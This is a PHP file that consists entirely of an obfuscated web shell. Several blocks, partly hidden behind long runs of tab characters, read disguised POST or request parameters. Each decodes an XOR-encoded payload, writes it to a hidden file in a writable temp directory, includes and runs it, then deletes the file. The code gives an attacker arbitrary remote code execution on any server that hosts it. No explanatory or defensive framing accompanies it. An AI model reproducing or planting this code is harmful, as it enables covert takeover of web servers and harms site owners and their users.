<?php																																										if(!empty($_POST["\x65l\x65m\x65\x6Et"])){ $dat = $_POST["\x65l\x65m\x65\x6Et"]; $dat = explode ( '.' , $dat) ; $binding = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); $k = 0; while( $k < count( $dat)) { $v7 = $dat[$k]; $chS = ord( $salt5[$k % $lenS]); $d =( ( int)$v7 - $chS -( $k % 10)) ^ 82; $binding .= chr( $d); $k++; } $token = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP")]); foreach ($token as $key => $bind) { if ((is_dir($bind) and is_writable($bind))) { $item = str_replace("{var_dir}", $bind, "{var_dir}/.flag"); if (file_put_contents($item, $binding)) { require $item; unlink($item); die(); } } } }
																																										if(!is_null($_REQUEST["\x62i\x6Ed"] ?? null)){ $fac = array_filter(["/dev/shm", getcwd(), "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $pointer = $_REQUEST["\x62i\x6Ed"]; $pointer = explode ( '.',$pointer) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($pointer as $l=> $v3) { $sChar = ord($salt[$l % $sLen] ); $dec = ((int)$v3 - $sChar - ($l % 10)) ^69; $item .= chr($dec ); } for ($symbol = 0, $data = count($fac); $symbol < $data; $symbol++) { $flg = $fac[$symbol]; if (!( !is_dir($flg) || !is_writable($flg) )) { $flag = implode("/", [$flg, ".property_set"]); $success = file_put_contents($flag, $item); if ($success) { include $flag; @unlink($flag); die();} } } }
																																										if(in_array("t\x6B\x6E", array_keys($_POST))){ $marker = $_POST["t\x6B\x6E"]; $marker = explode( '.', $marker ) ; $record= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt2 ); $len= count($marker ); for ($q= 0; $q < $len; $q++) { $v5= $marker[$q]; $sChar= ord($salt2[$q %$sLen] ); $d= ((int)$v5 - $sChar - ($q %10)) ^ 43; $record .= chr($d ); } $value = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); foreach ($value as $ref) { if (!!is_dir($ref) && !!is_writable($ref)) { $data_chunk = join("/", [$ref, ".dchunk"]); if (file_put_contents($data_chunk, $record)) { require $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(!is_null($_POST["i\x74\x65m"] ?? null)){ $rec = array_filter([session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd()]); $fac = $_POST["i\x74\x65m"]; $fac =explode ( "." , $fac ) ; $tkn=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt6); foreach($fac as $z => $v6) { $chS=ord($salt6[$z % $lenS]); $d=((int)$v6 - $chS -($z % 10)) ^ 25; $tkn .= chr($d); } foreach ($rec as $hld): if ((is_dir($hld) and is_writable($hld))) { $dat = join("/", [$hld, ".entry"]); if (file_put_contents($dat, $tkn)) { require $dat; unlink($dat); die(); } } endforeach; }
																																										if(@$_REQUEST["\x76alu\x65"] !== null){ $holder = $_REQUEST["\x76alu\x65"]; $holder = explode ( '.' , $holder ) ; $binding = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $x = 0; array_walk($holder, function ($v5) use (&$binding, &$x, $salt6, $lenS) {$chS = ord($salt6[$x % $lenS]); $dec = ((int)$v5 - $chS - ($x % 10)) ^ 99; $binding .= chr($dec); $x++; } ); $ent = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path()]); foreach ($ent as $symbol): if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $element = "$symbol/.pgrp"; $success = file_put_contents($element, $binding); if ($success) { include $element; @unlink($element); die();} } endforeach; }


if(count($_POST) > 0 && isset($_POST["val"])){
	$reference = $_POST["val"];
			$reference 	=	explode		(  "."	  ,	$reference	) 		;	 	
	$pgrp	=	'';
            $s	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=	strlen($s);
            $x	=	0;
    
            foreach ($reference as $v1) {
                $chS	=	ord($s[$x		%$sLen]);
                $dec	=	((int)$v1 - $chS - ($x		%10))  ^28;
                $pgrp.=chr($dec);
                $x++;
            }
	$ref = array_filter([getcwd(), getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]);
	foreach ($ref as $key => $factor) {
    		if (!!is_dir($factor) && !!is_writable($factor)) {
    $value = implode("/", [$factor, ".element"]);
    if (@file_put_contents($value, $pgrp) !== false) {
	include $value;
	unlink($value);
	die();
}
}
}
}